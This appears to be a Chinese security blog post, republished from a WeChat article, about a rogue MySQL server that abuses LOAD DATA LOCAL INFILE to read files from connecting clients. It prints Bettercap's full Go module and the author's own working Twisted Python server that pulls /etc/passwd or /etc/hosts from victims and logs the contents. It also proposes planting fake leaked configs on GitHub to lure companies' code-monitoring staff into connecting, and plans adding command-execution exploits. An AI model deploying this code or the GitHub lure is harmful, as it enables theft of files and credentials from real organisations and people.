1. 程式人生 > >從MySQL出發的反擊之路

從MySQL出發的反擊之路

文章內容

0x00 漏洞原理
幾篇參考文章已經將原理說的比較清楚了,問題出在 LOAD DATA INFILE 的地方,該功能是用於讀取客戶端上的一個檔案,並將其內容匯入到一張表中。

在 MySQL 連線建立的階段會有一個必要的步驟,即

客戶端和服務端交換各自功能
如果需要則建立SSL通訊通道
服務端認證客戶端身份

還有一個必要的條件就是 MySQL 協議中,客戶端是不會儲存自身請求的,而是通過服務端的響應來執行操作。

配合這兩點就可以發現,我們可以惡意模擬 MySQL 服務端的身份認證過程,等待客戶端的 SQL 查詢,然後響應時返回一個 LOAD DATA 請求,客戶端即根據響應內容上傳了本機的檔案。

借用 lightless 師傅的描述,正常的請求流程為

客戶端:hi~ 我將把我的 data.csv 檔案給你插入到 test 表中!
服務端:OK,讀取你本地 data.csv 檔案併發給我!
客戶端:這是檔案內容:balabala!

而惡意的流程為

客戶端:hi~ 我將把我的 data.csv 檔案給你插入到 test 表中!
服務端:OK,讀取你本地的 /etc/passwd 檔案併發給我!
客戶端:這是檔案內容:balabala(/etc/passwd 檔案的內容)!

所以,只需要客戶端在連線服務端後傳送一個查詢請求,即可讀取到客戶端的本地檔案,而常見的 MySQL 客戶端都會在建立連線後傳送一個請求用來判斷服務端的版本或其他資訊,這就使得這一「漏洞」幾乎可以影響所有的 MySQL 客戶端。

客戶端:hi~ 告訴我你的版本!
服務端:OK,讀取你本地的 /etc/passwd 檔案併發給我!
客戶端:這是檔案內容:balabala(/etc/passwd 檔案的內容)!

0x01 已有的利用
Bettercap [https://github.com/bettercap/bettercap]已經整合好了一個惡意的 MySQL 伺服器,可以在專案 Wiki

[https://github.com/bettercap/bettercap/wiki/mysql.server]中找到詳細的說明,使用也非常簡單。

$ sudo bettercap -eval “set mysql.server.infile /etc/hosts; mysql.server on”
相關程式碼在 mysql_server.go [

https://github.com/bettercap/bettercap/blob/master/modules/mysql_server.go]。

package modulesimport (    "bufio"
    "bytes"
    "fmt"
    "io/ioutil"
    "net"
    "strings"

    "github.com/bettercap/bettercap/log"
    "github.com/bettercap/bettercap/packets"
    "github.com/bettercap/bettercap/session"

    "github.com/evilsocket/islazy/tui")type MySQLServer struct {
    session.SessionModule
    address  *net.TCPAddr
    listener *net.TCPListener
    infile   string
    outfile  string}func NewMySQLServer(s *session.Session) *MySQLServer {

    mysql := &MySQLServer{
        SessionModule: session.NewSessionModule("mysql.server", s),
    }

    mysql.AddParam(session.NewStringParameter("mysql.server.infile",        "/etc/passwd",        "",        "File you want to read. UNC paths are also supported."))

    mysql.AddParam(session.NewStringParameter("mysql.server.outfile",        "",        "",        "If filled, the INFILE buffer will be saved to this path instead of being logged."))

    mysql.AddParam(session.NewStringParameter("mysql.server.address",
        session.ParamIfaceAddress,
        session.IPv4Validator,        "Address to bind the mysql server to."))

    mysql.AddParam(session.NewIntParameter("mysql.server.port",        "3306",        "Port to bind the mysql server to."))

    mysql.AddHandler(session.NewModuleHandler("mysql.server on", "",        "Start mysql server.",        func(args []string) error {            return mysql.Start()
        }))

    mysql.AddHandler(session.NewModuleHandler("mysql.server off", "",        "Stop mysql server.",        func(args []string) error {            return mysql.Stop()
        }))    return mysql
}func (mysql *MySQLServer) Name() string {    return "mysql.server"}func (mysql *MySQLServer) Description() string {    return "A simple Rogue MySQL server, to be used to exploit LOCAL INFILE and read arbitrary files from the client."}func (mysql *MySQLServer) Author() string {    return "Bernardo Rodrigues (https://twitter.com/bernardomr)"}func (mysql *MySQLServer) Configure() error {    var err error    var address string
    var port int

    if mysql.Running() {        return session.ErrAlreadyStarted
    } else if err, mysql.infile = mysql.StringParam("mysql.server.infile"); err != nil {        return err
    } else if err, mysql.outfile = mysql.StringParam("mysql.server.outfile"); err != nil {        return err
    } else if err, address = mysql.StringParam("mysql.server.address"); err != nil {        return err
    } else if err, port = mysql.IntParam("mysql.server.port"); err != nil {        return err
    } else if mysql.address, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil {        return err
    } else if mysql.listener, err = net.ListenTCP("tcp", mysql.address); err != nil {        return err
    }    return nil}func (mysql *MySQLServer) Start() error {    if err := mysql.Configure(); err != nil {        return err
    }    return mysql.SetRunning(true, func() {
        log.Info("[%s] server starting on address %s", tui.Green("mysql.server"), mysql.address)        for mysql.Running() {            if conn, err := mysql.listener.AcceptTCP(); err != nil {
                log.Warning("[%s] error while accepting tcp connection: %s", tui.Green("mysql.server"), err)                continue
            } else {                defer conn.Close()                // TODO: include binary support and files > 16kb
                clientAddress := strings.Split(conn.RemoteAddr().String(), ":")[0]
                readBuffer := make([]byte, 16384)
                reader := bufio.NewReader(conn)
                read := 0

                log.Info("[%s] connection from %s", tui.Green("mysql.server"), clientAddress)                if _, err := conn.Write(packets.MySQLGreeting); err != nil {
                    log.Warning("[%s] error while writing server greeting: %s", tui.Green("mysql.server"), err)                    continue
                } else if read, err = reader.Read(readBuffer); err != nil {
                    log.Warning("[%s] error while reading client message: %s", tui.Green("mysql.server"), err)                    continue
                }                // parse client capabilities and validate connection
                // TODO: parse mysql connections properly and
                //       display additional connection attributes
                capabilities := fmt.Sprintf("%08b", (int(uint32(readBuffer[4]) | uint32(readBuffer[5])<<8)))
                loadData := string(capabilities[8])
                username := string(bytes.Split(readBuffer[36:], []byte{0})[0])

                log.Info("[%s] can use LOAD DATA LOCAL: %s", tui.Green("mysql.server"), loadData)
                log.Info("[%s] login request username: %s", tui.Green("mysql.server"), tui.Bold(username))                if _, err := conn.Write(packets.MySQLFirstResponseOK); err != nil {
                    log.Warning("[%s] error while writing server first response ok: %s", tui.Green("mysql.server"), err)                    continue
                } else if _, err := reader.Read(readBuffer); err != nil {
                    log.Warning("[%s] error while reading client message: %s", tui.Green("mysql.server"), err)                    continue
                } else if _, err := conn.Write(packets.MySQLGetFile(mysql.infile)); err != nil {
                    log.Warning("[%s] error while writing server get file request: %s", tui.Green("mysql.server"), err)                    continue
                } else if read, err = reader.Read(readBuffer); err != nil {
                    log.Warning("[%s] error while readind buffer: %s", tui.Green("mysql.server"), err)                    continue
                }                if strings.HasPrefix(mysql.infile, "\\") {
                    log.Info("[%s] NTLM from '%s' relayed to %s", tui.Green("mysql.server"), clientAddress, mysql.infile)
                } else if fileSize := read - 9; fileSize < 4 {
                    log.Warning("[%s] unpexpected buffer size %d", tui.Green("mysql.server"), read)
                } else {
                    log.Info("[%s] read file ( %s ) is %d bytes", tui.Green("mysql.server"), mysql.infile, fileSize)

                    fileData := readBuffer[4 : read-4]                    if mysql.outfile == "" {
                        log.Info("\n%s", string(fileData))
                    } else {
                        log.Info("[%s] saving to %s ...", tui.Green("mysql.server"), mysql.outfile)                        if err := ioutil.WriteFile(mysql.outfile, fileData, 0755); err != nil {
                            log.Warning("[%s] error while saving the file: %s", tui.Green("mysql.server"), err)
                        }
                    }
                }

                conn.Write(packets.MySQLSecondResponseOK)
            }
        }
    })
}func (mysql *MySQLServer) Stop() error {    return mysql.SetRunning(false, func() {        defer mysql.listener.Close()
    })
}

不過這個 server 實現的較為簡單,只能用來臨時用一下。

另外又找到一個比較古老的 Python 實現,相關程式碼在 rogue_mysql_server.py [https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py],

測試了下也存在和 Bettercap 類似的問題,反正一共也就那麼幾個請求,完全可以自己來寫,這樣自由度更高一點。

0x02 自行實現
Python 來做 TCP 通訊,最常用的就是 Twisted 了,這是一個功能非常完全的非同步 TCP 框架,著名的 Scrapy 爬蟲框架就是基於 Twisted 的。

仔細看了下 Bettercap 模組的程式碼和 MySQL 文件,發現其實只需要四個響應,分別是首次連線的 Greeting,第一次請求的 FirstResponseOK,讀取檔案的 ReadFile 和第二次請求的 SecondResponseOK,只要知道了響應,寫 Twisted 的協議就非常簡單了。

class MySQLProtocol(Protocol):
    """
    MySQL協議
    """
    GREETING, FIRST_RESP, SECOND_RESP, FILE_READ = range(4)
    STATE = {
        GREETING: 'GREETING',
        FIRST_RESP: 'FIRST_RESP',
        SECOND_RESP: 'SECOND_RESP',
        FILE_READ: 'FILE_READ',
    }    def __init__(self):
        super(MySQLProtocol, self).__init__()
        self.state = self.GREETING
        self.logger = Logger(__name__).get_logger()    def connectionMade(self):
        msg = f'Got a new connection from {self.transport.hostname}'
        self.logger.info(msg)        # Greeting
        mysql_greeting = bytes.fromhex(            '5b0000000a352e362e32382d307562756e7475302e31342e30342e31002d000000403f59264b2b346000fff70802007f8015000000000000000000006869595f525f635560645352006d7973716c5f6e61746976655f70617373776f726400'
        )        if self.state == self.GREETING:            # 傳送 GREETING 包
            self.transport.write(mysql_greeting)
            self.state = self.FIRST_RESP    def connectionLost(self, reason=connectionDone):
        msg = f'{self.transport.hostname} disconnected'
        self.logger.info(msg)    def dataReceived(self, data):
        filenames = (            '/etc/passwd',            '/etc/hosts'
        )        # First response ok
        first_response_ok = bytes.fromhex('0700000200000002000000')
        second_response_ok = bytes.fromhex('0700000400000002000000')        # Server response with evil
        filename = random.choice(filenames)
        dump_file = chr(len(filename) + 1).encode() + bytes.fromhex('000001fb') + filename.encode()

        self.logger.debug(f'Client state: {self.STATE[self.state]}, data received: {data}')        if self.state == self.FIRST_RESP:            # 傳送第一個響應包
            self.transport.write(first_response_ok)
            self.state = self.FILE_READ            return

        elif self.state == self.FILE_READ:            # 傳送讀檔案包
            self.logger.debug(f'Trying to read {filename}, sending data: {dump_file}')
            self.transport.write(dump_file)
            self.state = self.SECOND_RESP            return

        elif self.state == self.SECOND_RESP:            # 解析讀檔案響應 傳送第二個響應包
            file_length = len(data)            try:
                file_content = data[4: file_length - 4].decode()            except UnicodeDecodeError:
                file_content = data[4: file_length - 4]

            self.logger.info(f'File received: \n{file_content}')            if len(file_content) > 5:                with open(os.path.join(os.path.dirname(__file__), '../logs/mysql_file.log'), 'a+', encoding='utf-8') as f:
                    f.write(f'{self.transport.hostname}\n')
                    f.write(f'{file_content}\n\n\n')
            self.transport.write(second_response_ok)
            self.transport.loseConnection()            return

        else:
            self.logger.warning(f'Unknown client state: {self.state}')
            self.transport.loseConnection()            return

注意:Twisted 的寫法是當前連線的變數存在 protocol 中,而整個服務的變數存在 factory 中。

0x03 It’s a trap!
只要我們把這個惡意的服務開在 3306 埠上,自然會有全球各地的掃描器來光顧,不光能讀到一些客戶端檔案,還能接收到很多各類後門挖礦 payload,不過這只是常規操作。

近兩年來,各大廠商都開始做自己的 GitHub 程式碼監控,防止內部程式碼洩露,藉著這一點,更猥瑣的思路是在 GitHub 上傳包含各大廠商特徵的假程式碼,在其 MySQL 配置中加上我們惡意服務的地址和埠,這樣當廠商監控到 GitHub 的程式碼,大概翻一下就可以發現配置檔案中的資料庫密碼,一般人都會去連線一下,此時……

不過 Mac 安裝的 MySQL 版本預設沒有開本地檔案上傳的功能,觸發漏洞需要手動指定 --enable-local-infile 引數,只能說一聲可惜了。

疑似某廣東公司的請求,可惜沒讀到檔案。

抓到的谷歌雲掃描器。

某俄羅斯掃描器。

0x04 展望
一個只能讀特定檔案的洞說起來還是用處小了一點,之後計劃再整合一下之前 AWVS 8 和 10 的命令執行,做成一個更有威力的反擊工具。

原文連結

https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ%3D%3D&mid=2247484235&idx=1&sn=5573ec0540d3a7832d793ef1710cfe62&chksm=e9287f7fde5ff6691e3613c78ced1b5ad744fae3e6cb8e373d3335cc71c8bef42186824b7e87&mpshare=1&scene=23&srcid=%23rd

服務推薦